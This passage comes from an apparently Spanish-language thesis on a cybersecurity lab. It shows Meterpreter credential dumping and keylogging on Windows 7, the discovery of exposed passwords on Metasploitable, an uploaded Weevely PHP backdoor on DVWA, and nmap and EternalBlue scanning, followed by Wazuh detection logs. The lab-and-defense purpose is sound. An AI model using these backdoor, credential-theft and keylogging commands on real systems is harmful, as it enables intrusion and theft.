SYSTEM 00 6,400 K_Spooler SubSystem App
NWETWOR... 00 1,964 K Microsaft Softvrare Protection Flatform Ser...

suchost.exs LOCALS... 00 6,652K  Host Process for —

sichost.exe NETWOR.... o0 13,120 16567 @ 280GHz 280 GHz

suchost.exs SYSTEM 00 352K

sichost.exe KETWOR.. 00 4,000 K Host Process for Windows Se

sichost.exe LOCALS... 00 9,400 K

suchast.exe SYSTEM ] 4,828 K
svchast.exe SYSTEM 00 15,508 K

ble for this Display

1 show processes from all users End Frocess

Processes 38 CPU Usage: 0% Physical Memory: 16%

Computer gescrprion:

Performance Information and

Tools WORKGROUP

Workgroup:

Nota: Recoleccion de informacion
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Con el fin de indagar ain mds profundo en el dispositivo podemos cargar

kiwi en busca de las credenciales de usuarios.

Figura 71

Comando load kiwi

d unhoo
d winp

*kk [

Nota: Recoleccion de informacion

Se puede observar que se ha logrado obtener la contrasefia del usuario

administrador.

Figura 72
Comando creds_all

5
[+] Runni

NTLM

(null)

Nota: Recoleccion de informacion
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Comando y control:

Se pretende utilizar un keylogger en el dispositivo atacado para poder registrar
todo lo que se ejecute en una aplicacion en especifico.

Utilizaremos como prueba la aplicaciéon Chrome.exe.

Figura 73

Comando keylogger

NT AUTHORIT
NT AUTHORIT

WIN-8450Q99004P!
NT AUTHORIT
NT AUTHORIT

dministra
dminist

dminist
dminist
dminist

1l

Administ
dminist
L SER
dminist
dminist
dminist
dminist

Nota: Registro de Chrome.exe

Migramos meterpreter al proceso de Chrome mediante el siguiente comando.

Figura 74

Comando migrate 2040

48 ...

Nota: Migracion de procesos

Iniciamos la deteccion.



139

Figura 75

Comando keyscan_start

hift>Ecuador<cR> |

3

Right Shift><Right Shift><Right Shift><Right Shift><Right shift><Right Shift><Right Shift><Right Shift><Right shift><Rig

Nota: Incio de la deteccion.

Hacking Etico pagina Web

Para esta practica utilizaremos la médquina a ser atacada, en este caso nuestra
maquina virtual Metasploitable.

Con el objeto de verificar que informacion contiene el aplicativo, revisamos el
contenido del siguiente directorio, que por lo general se encuentran alojadas las

aplicaciones web creadas con el lenguaje Php.

Figura 76

Verificar directorio cd/var/www

sfadmin@netasploitable:svar/uwwul cd varswuw

sfadmin@netasploitable:/var suwwd pud

var/uwu

sfadmin@netasploitable:/var uuug 1s -1

otal 72
root root 4096 Z201Z2-05-20 : dav
wwu-data wuw-data 4096 Z2012-05-20 : dvua
wuw-data www-data 891 Z012-05-20 : index.php

10 www-data www-data 4096 Z01Z-05-14 : mutillidae

wwu-data www-data 19 2010-04-16 : phpinfo.phyp
11 www-data www-data 4096 Z201Z2-05-14 : phpMyAdmin
3 wuw-data www-data 4096 2012-05-14 : test
£ZZ www-data www-data 20480 2010-04-19 : tikiwiki
£ZZ wuwu-data www-data 20480 2010-04-16 : tikiwiki-old
7 www-data www-data 4096 Z2010-04-16 : twiki
sfadmin@netasploitable:/varsuuwg _

Nota: Verificacion de directorios
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Ingresamos a la app denominada “mutillidae” que serd e aplicativo web al que

pretendemos escanear sus archivos.

Figura 77

Ingreso a mutillidae

sfadmin®metasploitable:/varsuuu/nutillidael pud
var/uwwusnutillidae
sfadmin@metasploitable:/var uwu /mutillidae$

Nota: mutillidae

Figura 78

Ingreso a mutillidae

passuwords
pen-test-tool-lookup.php
php-errors.php
phpinfo.php
phpHyfAdmin. php
process-commands . php
process-login-attempt.php
redirectandlog.php
register.php
rene-magritte.php
robots.txt
secret-administrative-pages.php
set-background-color . php
set-up-database.php
shouw-log . php
site-footer-xss-discussion.php
source—-viewer.php

styles
text-file-viewer.php
usage—instructions.php
uszer-info.php
user-poll.php
view-someones-blog.php

sfadninPmetasploitable: var uuu/mutillidae$

Nota: mutillidae
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Consultamos la direccién IP correspondiente a la maquina Metasploitable.

Figura 79

Consulta ip de equipo

sfadmin@metasploitable: var-wuw- mutillidaey ifconfig
etho Link encap:Ethernet HWaddr 08:00:27:81:fb:c9
inet addr:19Z2.168.0.4 Bcast:192.168.0.255 Mask:255.255.255.0
inetb addr: feB0::a00:27ff:fed8l:fbc9-/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 HMetric:1
RX packets:20Z286 errors:0 dropped:Q overruns:0 frame:0
TX packets:2951 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1640673 (1.5 MB) TX bytes:?708087 (691.4 KB)
Base address:0xd0Z0 Memory:fO0Z00000-f0Z2Z0000

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inetb addr: ::1-128 Scope:Host

UP LODPBACK RUNNING HMTU:16436 Hetric:1

R¥X packets:3447 errors:0 dropped:0 overruns:0 frame:0
T¥ packets:3447 errors:0 dropped:0 overruns:0 carrier:0Q
collizsions:0 txgueuelen:0

RX bytes:1610577 (1.5 MB) TX bytes:1610577 (1.5 MB)

sfadmin@metasploitable: varsuwu nutillidae$ _

Nota: Ip del equipo a atacar

Para obtener nuestro objetivo, se utilizara en comando “dirb”, cuya sintaxis
es la siguiente: dirb Url_Base
Se utiliza la mdquina virtual atacante Kali Linux y ejecutamos la siguiente

instruccion.
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Figura 80

Consulta dirb htpp:/192.168.0.4/mutillidae

root@kali: ~
root@kali: ~ 80x24

http://192.168.0.4/mutillidae

DIRE v2.22
By The Dark Raver

START_TIME: Wed Apr 17 23:37:07 2024
URL_BASE: http://192.168.0.4/mutillidae/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.0.4/mutillidae/ ----

==> DIRECTORY: http://192.168.0.4/mutillidae/classes/

+ http://192.168.0.4/mutillidae/credits (CODE:200|SIZE:509)

==> DIRECTORY: http://192.168.0.4/mutillidae/documentation/

+ http://192.168.0.4/mutillidae/favicon.ico (CODE:200|SIZE:1150)
+ http://192.168.0.4/mutillidae/footer (CODE:200|SIZE:450)

+ http://192.168.0.4/mutillidae/header (CODE:200|SIZE:19879)

+ http://192.168.0.4/mutillidae/home (CODE:200@|SIZE:2930)

Nota: escaneo a la ip del equipo a atacar

Figura 81

Consulta dirb htpp:/192.168.0.4/mutillidae

root@kali: ~
root@kali: ~ 80x24

http://192.168.0.4/mutillidae

DIRB v2.22
By The Dark Raver

START_TIME: Wed Apr 17 23:37:07 2024
URL_BASE: http://192.168.0.4/mutillidae/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.0.4/mutillidae/ ----

==> DIRECTORY: http://192.168.0.4/mutillidae/classes/

+ http://192.168.0.4/mutillidae/credits (CODE:200|SIZE:509)

==> DIRECTORY: http://192.168.0.4/mutillidae/documentation/

+ http://192.168.0.4/mutillidae/favicon.ico (CODE:200|SIZE:1150)
+ http://192.168.0.4/mutillidae/footer (CODE:200|SIZE:450)

+ http://192.168.0.4/mutillidae/header (CODE:200|SIZE:19879)

+ http://192.168.0.4/mutillidae/home (CODE:200|SIZE:2930)

Nota: escaneo a la ip del equipo a atacar
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De esta manera listamos los archivos de la aplicaciéon web denominada
mutillidae, donde podremos explorar y revisar archivos sensibles, ya que se ha
logrado listar insumos propios de la miquina atacada.

Unos de los archivos que llama la atencién es robots.txt, mismo que al ser

revisado su contenido, observamos:

Figura 82

Contenido del arichivo Robots.txt

C A\ Noesseguro 192.168.0.4/mutillidae/robots.txt

User-agent: #*

Disallow: ./passwords/
Disallow: ./config.inc
Disallow: ./classes/
Disallow: ./javascript/
Disallow: ./owasp-esapi-php/
Disallow: ./documentation/

Nota: se observa directorio /passwords

Verificamos el contenido del directorio passwords.
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Figura 83

Contenido del directorio passwords

C /\ Noesseguro  192.168.0.4/mutillidae/passwords/

Index of /mutillidae/passwords

Name Last modified Size Description

a Parent Directory -
accounts.txt 11-Apr-2011 20:14 176

Apache/2.2.8 (Ubuntu) DAV/2 Server at 192.168.0.4 Port 80

Nota: se observa archivo accounts.txt

Seguidamente consultamos el contenido del archivo accounts.txt

Figura 84

Contenido del archivo accounts.txt

C /\ Noesseguro  192.168.0.4/mutillidae/passwords/accounts.txt

"admin®, 'adminpass', 'Monkey!!!

"adrian’', 'somepassword', 'Zombie Films Rock!!!
'John', 'monkey', 'I like the smell of confunk
'ed', "pentest', 'Commandline KungFu anyone?'

Nota: se observa usuarios y contrasefias
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Como conclusidn, se ha logrado vulnerar y conocer las cuentas (usuario y

password), mediante el escaneo de archivos sensibles del aplicativo web.

Vulnerabilidades en carga de archivo:

Subir puerta trasera con Weevly
e Generar backdoor
e Subir backdoor
e Conectarse al backdoor
e Usar weevly

Consultamos la direccion Ip de Metasploitable

Figura 85

Ip de Metasploitable

sfadminPmetasploitable:™5 ifconfig
EthoO Link encap:Ethernet HWaddr 08:00:27:81:fb:c9
inet addr:192.168.0.4 Bcast:192.168.0.255 Mask:255.255.255.0
inetb addr: feB80::a00:27ff:feBl:fbc9-64 Scope:Link
UP BROADCAST RUNNING MULTICAST HMTU:1500 HMetric:1
R¥ packets:2596 errors:0 dropped:0 overruns:0 frame:0
T¥ packets:843 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txgqueuelen:1000
RX bytes:243382 (237.6 KB) TX bytes:524535 (512.2 KB)
Base address:0xd020 Memory:fo200000-f0Z220000

Link encap:Local Loopback

inet addr:127.9.9.1 Mask:255.0.0.0

inett addr: ::1,128 Scope:Host

UP LOOPBACK RUNMING HMTU:16436 Metric:1

R¥ packets:522 errors:0 dropped:0 overruns:0 frame:0
TX packets:52Z errors:0 dropped:0 overruns:0 carrier:0
collizsions:0 txgueuelen:0

RX bytes:219561 (214.4 KB) TX bytes:219561 (214.4 KB)

sfadmin@metasploitable: ™5

Nota: Tp del metasploitable
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Mediante el uso de Kali Linux, ingresamos por un navegador la direccién Ip

de metasploitable.

Figura 86

Metasploitable

E Kali Linux [Corriendo] - Oracle VM VirtualBox

Méquina Ver Entrada
S emk o

®»  Metasploitable2 - Linux

Archivo Dispositivos  Ayuda

« > C o O

KaliLinux & Kali Tools = Kali Docs Kali Forums ¢ Kali NetHunter Exploit-DB Google Hacking DB OffSec @ Gmail

" _/

A TR

. N .
Warning: Mever expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

« TWiki

« phpMyAdmin
« Mutillidae

« DVWA

« WebDAV

Nota: Ingreso a metasploitable mediante la ip

Seguidamente utilizaremos el aplicativo DVWA, que sera un sitio web al cual

se intentara hackear.
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DVWA

®  DamnVulnerable WebApp (| X +

L= CcC @ O A o 192168.0.4

KaliLinux # Kali Tools ¢ Kali Docs Kali Forums X Kali NetHunter Exploit-DB
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Google Hacking DB OffSec @ Gmail

Nota: Sitio Web a atacar
Figura 88

DVWA

L] ©J Damn Vulnerable Web A =+

(& c @ O an

N\
DVWA

Username

admin

Password

Login]

a RandomStorm OpenSource project

KaliLinux # KaliTools = Kali Dac: Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec @ Gmail

BT
Instructions

Setup

Brute Force
Command Execution
CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)
Upload

XSS reflected

XSS stored

DVWA Security
PHP Info

About

Logout

Username: admin
Security Level: high
PHPIDS: disabled

Nota: Sitio Web a atacar

o)

Welcome to Damn Vulnerable Web App!

Damn Vulnerable Web App (DVWA) is 2 PHP/MySQL web application that is damn vulnerable. Its main goals are
to be an aid for security professionals to test their skills and tools in a legal environment, help web developers
better understand the processes of securing web appli and aid to teach/leam web

licat ity in a class room

WARNING!
Damn Vuinerable Web App is damn vuinerable! Do not upload it to your hosting provider's public htmi folder or
We

any internet facing web server as it will be i and installing
onto a local machine inside your LAN which is used solely for testing

Disclaimer

We do not take responsibility for the way in which any one uses this application. We have made the purposes of
the application clear and it should not be used maliciously. We have given warnings and taken measures to
prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation
of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.

General Instructions

The help button allows you to view hitstips for each vulnerability and for each security level on their respective
page.

You have logged in as ‘admin’
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Utilizaremos la opcién Upload.

Figura 89

DVWA cargar archivo

i | Vulnerability: File Upload

Instructions |

Setup | | Browse.... | No file selected.

Brute Force [Upload l

Command Execution

- More info

File Inclusion

|
|
|
|
SQL Injection |
|
|
|
|

SQL Injection (Blind)

XSS reflected

XSS stored

DVWA Security |

PHP Info |
About |

Logout |

Username: admin View Source | View Help |
Security Level: low

PHPIDS: disabled

Nota: Sitio Web a atacar

Observamos que es una caracteristica comun de varios sitios web (carga de
archivos), donde podemos avizorar la posibilidad de ataque y penetracion.

Usualmente esta caracteristica es utilizada para subir o cargar imagenes,
videos, archivos con formato jpg, mp3, mp4, etc. Pero en esta ocasion trataremos de

subir un archivo tipo Php, con la finalidad de poder vulnerar el sitio web.
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Procedemos con la creacion del backdoor, mediante el uso de la herramienta
weevely. Para esto, se ejecuta los siguientes pasos:
e Mediante el uso de una terminal, generamos el backdor con el
comando

weevely generate 123789 /root/backdoor.php

Figura 90
Comando weevely generate 123789 /root/backdoor.php

root@kali: ~
root@kali: ~ 80x24

~

eevely generate 123789 /root/backdoor.php
Generated '/root/backdoor.php' with password '123789' of 754 byte size.

~

Nota: Puerta trasera
Donde la sintaxis del comando weevely es: weevely generate clave_acceso

tuta_archivo

Figura 91

Consultar el backdoor generado

DVoVuCwb . html WclKfZfd.html hmNpWLXA.html pNTyAgOv.html
DilxuYEr.html ItFUNbTU.html backdoor.php  kAEJFLzz.html

-

Nota: Puerta trasera
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Figura 92

Tratamos de subir el archivo mediante el uso del aplicativo web (opcion Upload)

File Upload

Recent B root

> 0

Home Name i Type Modified

Desktop p grupo_5 17 Oct 2023
pPNTyAqOv.html .1kB Text 14 Oct2023
KAEJFLzz.html LTk Text 14 Oct 2023
hmNpWLxA.html 11K Text 14 Oct2023
Music backdoor.php Program 00:18

Documents

l« B 1

Down

Pictures WelKfZfd.html 1kB Text 1 20
ItFUNBTU.html L1kl Text 14 Oct 20!

2
2.

Videos
IDRDOBER.jpeg 4.9k Image 14 Oct 202
2

+ 2@ 4

Other Locations Dilxu| 1KB 14 0ct 20
DVoVuC 1kl 14 Oct 20

=)
3
3
z)
3

Nota: Puerta trasera

Figura 93

Carga de archivo

i | Vulnerability: File Upload

TS | Choose an image to upload
Setup | | Browse... | No file selected.
Brute Force |ﬂ.‘.‘.’fﬂ|

Command Execution ../ ../hackable/uploads/backdoor.php succesfully uploaded!

CSRF

File Inclusion

|

|

|

| More info
SQL Injection |

|

|

|

|

SQL Injection (Blind)

XSS reflected

XSS stored

DVWA Security |

PHP Info |
About |

Logout |

Username: admin View Source | View Help
Security Level: low
PHPINS: dicahlad

Nota: Puerta trasera
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Se observa que el archivo backdoor ha sido cargado después de dos directorios

del sitio web.

Figura 94

Archivo cargado

e | Vulnerability: File Upload

Instructions |

Choose an image to upload:

Setup I Browse... | No file selected.

Brute Force | Upload |

Command Execution oo d o EIE IRV GET B s E T G e Teh gl ol succesfully uploaded!

CSRF

File Inclusion

|

|

|

| More info
SQL Injection |

|

|

|

|

SQL Injection (Blind)

XSS reflected

XSS stored

DVWA Security |

PHP Info |
About |

Logout |

Username: admin View Source | View Help
Security Level: low

PHPIDS: disabled

Nota: Puerta trasera

Procedemos a copiar la ruta de carga del archivo backdoor en la url del

browser, seguido de los dos directorios.
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Figura 95

Ruta de carga del archivo backdoor

s ) 1 b +

O

Kali Linux g KaliTools < Kali Docs Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec @ Gmail

Nota: Puerta trasera

Ingresamos a la computadora de la victima mediante Kali Linux, digitando la
url que acabamos de construir en el navegados, seguido de la clave de acceso utilizada
en el momento de la generacion del backdoor.

weevely http://192.168.0.4/dvwa/hackable/uploads/backdoor.php clave_acceso

Figura 96

Ingreso al equipo atacado meidante el url

root@kali; ~

root@kali: ~ 80x24

-~

http://192.168.0.4/dvwa/hackable/uploads/backdoor.php 123789
[+] weevely 4.0.1

[+] Target: 192.168.0.4
[+] session: /root/.weevely/sessions/192.168.0.4/backdoor_@.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> ||

Nota: Puerta trasera
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Se ha logrado ingresar a la computadora de la victima, donde para comprobar

digitamos id y observamos lo siguiente.

Figura 97
Comando ID

root@kali: ~

root@kali: ~ 80x24

eevely http://192.168.0.4/dvwa/hackable/uploads/backdoor.php 123789

[+] weevely 4.0.1

[+] Target: 192.168.0.4
[+] session: /root/.weevely/sessions/192.168.08.4/backdoor_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> 1id

The remote script executlion triggers an error 580, check script and payload inte
grity

uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-datag192.168.0.4: /var/www/dvwa/hackable/uploads $

Nota: Puerta trasera

Consultamos los archivos con el comando ‘Is’ y verificamos que nos
encontramos en el directorio donde se encuentra la aplicacién web, por lo que en

conclusién se ha logrado ingresar en la computadora de la victima.
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Figura 98

Comando s

root@kali; ~

root@kali: ~ 80x24

http://192.168.0.4/dvwa/hackable/uploads/backdoor.php 123789

[+] weevely 4.0.1

[+] Target: 192.168.0.4
[+] session: /root/.weevely/sessions/192.168.0.4/backdoor_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> id

The remote script execution triggers an error 508, check script and payload inte
grity

uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-datagl192.168.0.4: /var/www/dvwa/hackable/uploads $ 1s

The remote script executlion triggers an error 500, check script and payload inte
grity

backdoor.php

dvwa_email.png

www-datag192.168.0.4: /var/www/dvwa/hackable/uploads $ I

Nota: Puerta trasera
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CAPITULO IV

RESULTADOS

En el capitulo de resultados de este trabajo de titulacidon, se presenta una
descripcion detallada de la implementacion de un laboratorio de ciberseguridad que
integra una infraestructura SIEM utilizando Wazuh como tnico recolector de logs y la
herramienta de simulacién de redes GNS3 y sus componentes de activos monitoreados.
Figura 99

Diagrama Laboratorio Ciberseguridad con GNS3

Arquitectura Infraestructura ProyectoTitulacion MASCIBER - GNS3

n
m
3

it View Control Node Annotate Tools Help

OE>pIIEC @

v

servidorweb-1 Wazuhv4.7.3-1

Ui @1 S u!

KaliAtacante
B Switcha
| A
ISP_IINTERNET AdministradorTl
Switch3
@ = =i
e Win7Blue-1
Switchl

{4

Nota: Diagrama GNS3, subredes WAN, DMZ, LAN, Salida internet, Firewall
(Pfsense con IDS/IPS Snort), componentes de red routers y swich, Servidores web
Wazuh (SIEM con Integracién con Mensajeria Telegram) y Aplicaciones, Equipos PC
para clientes internos (Windows7), administradores T1 (Linux), desarrolladores (Kali

Atacante).

Agente Wazuh cliente instalado en: Firewall, Windows 7, Servidor web aplicaciones.
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En este entorno, se llevaron a cabo pruebas de penetracion utilizando Kali
Linux, que incluyeron un ataque a una maquina con Windows 7 mediante un exploit
que permitié el control completo del equipo y la creacién de una puerta trasera en un
servidor web Linux. Estas actividades mostraron las técnicas de ataque y defensa en
ciberseguridad y las capacidades y limitaciones de las tecnologias empleadas. Los
resultados obtenidos destacan la eficacia de Wazuh para la recoleccién y andlisis de
logs en tiempo real, lo cual es crucial para la deteccién y respuesta proactiva ante
incidentes de seguridad, incluyendo notificaciones de mensajeria en linea para

monitoreo.

Monitoreo de Integridad de Archivos en Windows

El monitoreo de integridad de archivos (FIM) es un proceso de seguridad que
se utiliza para monitorear la integridad de los archivos del sistema y de las aplicaciones.
Se realiza la simulacién de una posible penetraciéon al sistema operativo
Windows 7, donde el atacante trata de crear o modificar archivos en una determinada
ruta de la estacion. Para lo cual se obtiene la informacion relacionada sobre quién
realiza modificaciones en un directorio monitoreado. Estos cambios producen eventos

de auditoria y los informa al servidor Wazuh.

Se realiza los siguientes pasos para configurar el moddulo FIM. Esta
configuracion obtiene la informacién sobre el usuario y el proceso que modifico el
archivo monitoreado.

Editar el archivo de configuraciéon del agente Wazuh C:\Program Files
(x86)\ossec-agent\ossec.conf y agregue el directorio para el monitoreo FIM.

Agregamos el siguiente bloque de cédigo
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Bloque de codigo

<syscheck>

<directories check all="yes

</syscheck>

r]

whodata="yes" report_changes="yes">C:\Users\#\Documents</directories>

Nota: Archivo de configuracion

Figura 101

Bloque de codigo

<!-- File integrity monitoring --»

<syscheck>

<directories

check_all="yes" whodata="yes" report_changes="yes">C:\Users\*\Documents</directories>

<disabled>no</disabled>

<!-- Frequency that syscheck is executed default every 12 hours -->
<frequency>43200</frequency>

<!-- pefault files to be monitored. --=

<directories

<directories
<directories
<directories
<directories
<directories

recursion_level="0" restrict="regedit.exe$|system. ini$|win.ini$">%WINDIR%</directories>

recursion_level="0" restrict="at.exe$|attrib. exe$|cacls.exe$|cmd. exe$|eventcreate. exe§|ftp. exe$|Isass. exe$|n
recursion_leve >%WINDIR%\SysNative'\drivers\etc</directories>
recursion_leve restrict="WMIC. exe$ >¥WINDIRX\SysNative\wbem</directories>

recursion_level="0" restrict="powershell.exe$">XWINDIR%\SysNative\windowspowershell\vl. 0</directories>
recursion_level="0" restrict="winrm.vhs$">%WINDIR%\SysNative</directories>

Nota: Archivo de configuracion

Reiniciar el agente Wazuh con privilegios de administrador para aplicar los

cambios, mediante el comando: Restart-Service -Name wazuh.

Crear y/o modificamos un archivo de texto en la carpeta Documents

Figura 102

Modiciacion de archivo
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===

@U" £l <« Local Disk (C:) » Users » user » My Documents - |‘, | | Search My Documents pel |
Organize » Include in library « Share with + Mew folder == > | l@
= =
il RecentPlaces =+ MName Date modified Type Size
: =] Test-monitoreso-1 5/20/2024 12:57 AM  Text Document 1KB
wa Libraries

File Edit Format View Help

mj Test-monitoreso-1 - Notepad EI@

Test de monitores wazuhl

Nota: Modiciacion de archivo

Visualizar la alerta en el dashboard de wazuh

Figura 103

Visualizacion del evento

= O wazuh. Vv [ iodies “Wited

Integrity monitoring ®

Inventory  Dashboard  Events

7} WIN-B45Q99004PP (001)

B Search oL B Last2enous

managername: wazulvserver | rule.groups: syscheck | agentid: 001 |+ Add filter

wazuh-alerts-*

3hits
May 18, 2024 @ 23:59:57.756 - May 19, 2024 @ 23:59:57757  Auto
Fiter b 0
Selocted fiekds
wle description 5
3
8
timestamp per 30 minutes
Time syscheck path syscheck event rule.description rule Jevel
May 19, 2824 © 23:56:01.831 deleted File deleted
May 19, 2024 ¢ 4 nts\test-monitoreso-1. txt Integrity checksum changed
Hay 1

Nota: Visualizacion del evento

Se obtiene notificacion inmediata en tiempo real por medio de
instantdneos de Telegram.

Figura 104

Visualizacion del evento en telegram

ruleid

mensajes
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w. alertas_wazuh_uide_bot %
{"description”: "File deleted.”, "alert_level™: "7", "agent™:
"WIN-845Q99004PP"} _'[

{"description": "Integrity checksum changed.”, "alert_level™ "7",
"agent": "WIN-845Q99004PP"}

<@
{"description": "File deleted.", "alert_level": "7", "agent"™:
"WIN-845Q99004PP"} )

Nota: Visualizacion del evento

Monitoreo ataque Windows 7

Para realizar una simulacién de ataque al servidor web, se dispone de los
siguientes procesos:

Empezamos realizando un escaneo de puertos al dispositivo objetivo
(192.168.65.130) con NMAP. El comando utilizado es el siguiente:

nmap -p- -A -T4 192.168.65.130
Figura 105

Comando nmap

) 4 192.168.65.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-14 17:35 EDT
Nmap scan report for 192.168.65.130
Host is up (0.00020s latency).
Not shown: 65527 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
Service Info: Host: WIN-845Q99004PP; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
_clock-skew: mean: 1h19m59s, deviation: 2h18m33s, median: @s

smb2-security-mode:

H'H
Message signing enabled but not required

smb-os-discovery:

0S: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)

0S CPE: cpe:/o:microsoft:windows_7::spl

Computer name: WIN-845Q99004PP

NetBIOS computer name: WIN-845Q99004PP\x00

Workgroup: WORKGROUP\x00

System time: 2024-04-14T17:38:08-04:00
nbstat: NetBIOS name: WIN-845Q99004PP, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:ed:a8:e@ (VMware)
smb-security-mode:

account_used: guest

authentication_level: user

challenge_response: supported

message_signing: disabled (dangerous, but default)
smb2-time:

date: 4-04-14T721:38:08

start_date: 2024-04-14T720:13:27

|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
I
|

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 138.44 seconds
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Nota: Ataque W7

Logs generados por nmap en Wazuh:

El log indica una conexion RDP proveniente de la IP 192.168.1.130

data.win.eventdata.authenticationPackageName - NTLM
data.win.eventdata.ipAddress - 192.168.1.130
data.win.eventdata.logonProcessName - NtLmSsp
data.win.system.message
"An account was successfully logged on.
Network Information:

Workstation Name: \\192.168.1.130

Source Network Address:  192.168.1.130

Source Port: 58628

Detailed Authentication Information:
Logon Process: NtLmSsp
rule.description
Successful Remote Logon Detected - User:\Guest - NTLM authentication,
possible pass-the-hash attack - Possible RDP connection. Verify that \\\192.168.1.130

is allowed to perform RDP connections

Figura 106

Logs Wazuh
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Nota: Ataque W7

rule.description

Successful Remote Logon Detected - User:\Guest - NTLM authentication,
possible pass-the-hash attack - Possible RDP connection. Verify that nmap is allowed
to perform RDP connections

Informacion:

PORT STATE SERVICE  VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-
ds (workgroup: WORKGROUP)

49152/tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc Microsoft Windows RPC

49155/tcp open msrpc Microsoft Windows RPC

49156/tcp open msrpc Microsoft Windows RPC

Service Info: Host:  WIN-845Q99004PP; OS: Windows; CPE:

cpe:/o:microsoft:windows

Figura 107

Logs Wazuh

Nota: Ataque W7
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El evento muestra que se logrd un inicio de sesion exitoso en una cuenta de usuario
invitado (\Guest) mediante el proceso de autenticaciéon NtLmSsp, lo que sugiere un
posible ataque de "pass-the-hash". La informacién del log detalla que la direccién de
red de origen es 192.168.1.130 y se utiliz6 el puerto 58628 para la conexidn.
Adicionalmente, un escaneo de puertos revela que varios puertos relacionados con
Microsoft Windows RPC y netbios-ssn estdn abiertos en el host WIN-845Q99004PP,
que estd ejecutando Windows 7 Ultimate Service Pack 1. Esto subraya la necesidad
de verificar y asegurar que la IP 192.168.1.130 estd autorizada para realizar
conexiones RDP, para prevenir posibles compromisos de seguridad.

Ejecucion del exploit EternalBlue, dentro de la consola de Metasploit
realizamos la ejecucion de este.
Figura 108
Ejecucion del exploit

) > options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Current Setting Required Description

true Check for architecture on vulnerable hosts
true Check for DOUBLEPULSAR on vulnerable hosts
false Check for named pipe on vulnerable hosts
/usr/share/metasploit-framework/data/wordli es List of named pipes to check
sts/named_pipes.txt
RHOSTS es The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
cs/using-metasploit.html
RPORT 445 The SMB service port (TCP)
SMBDomain . The Windows domain to use for authentication
SMBPass The password for the specified username
SMBUser The username to authenticate as
THREADS 1 The number of concurrent threads (max one per host)

View the full module info with the fo, or command.
msf6 auxiliary( ) > set rhost 192.168.65.130
rhost = 192.168.65.130

msf6 auxiliary( ) > run

[+] 192. .130:44 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
192. 5.130 5 - Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed
msf6 auxiliary( D |

Nota: Ataque W7

Logs generados por exploit en Wazuh:
Los logs de Wazuh indican dos eventos criticos relacionados con la seguridad y el
funcionamiento del sistema. Primero, un error de aplicacién en el administrador de cola

de impresion de Windows, spoolsv.exe, version 6.1.7601.17514, causado por un fallo
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de acceso a la memoria en el médulo kernel32.dll, también version 6.1.7601.17514. El
coédigo de excepcion es 0xc0000005, con un desplazamiento de falla en
0x00000000000aa41d y el ID del proceso con fallo es Ox1fc. La aplicacion se inici6 a
las 0x01da966053dfef64, y las rutas del ejecutable y el médulo con falla son
C:\Windows\System32\spoolsv.exe y C:\Windows\system32\kernel32.dll
respectivamente. El ID del informe del error es 656088a0-17c9-11ef-9afa-
000c29eda8ea. Este tipo de error puede interrumpir el servicio de impresion y sugiere
la necesidad de investigar la causa raiz, que podria ser un problema con el software de
impresion o una vulnerabilidad en el sistema.

Figura 109

Logs de ejecucion del exploit

Time L Agent Agent name Technigue(s] Tactic(s) Deseription  Lewel

WIN-845Q92004PP Windows User Logoff

Nota: Ataque W7

Figura 110
Logs de ejecucion del exploit

WIN-845009004PP Windows application error event.

Nota: Ataque W7

data.win.eventdata.data

spoolsv.exe, 6.1.7601.17514, 4ce7bde7, kernel32.dll, 6.1.7601.17514, 4ce7c78b,
c0000005, 00000000000aa41d, Ifc, 01da966053dfef64,
C:\\Windows\\System32\\spoolsv.exe, C:\\Windows\\system32\\kernel32.dll,

656088a0-17c9-11ef-9afa-000c29eda8ea
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data.win.system.channel — Application

data.win.system.message

"Faulting application name: spoolsv.exe, version: 6.1.7601.17514, time stamp:
Ox4ce7b4de7

Faulting module name: kernel32.dll, version: 6.1.7601.17514, time stamp: Ox4ce7c78b
Exception code: 0xc0000005

Fault offset: 0x00000000000aa41d

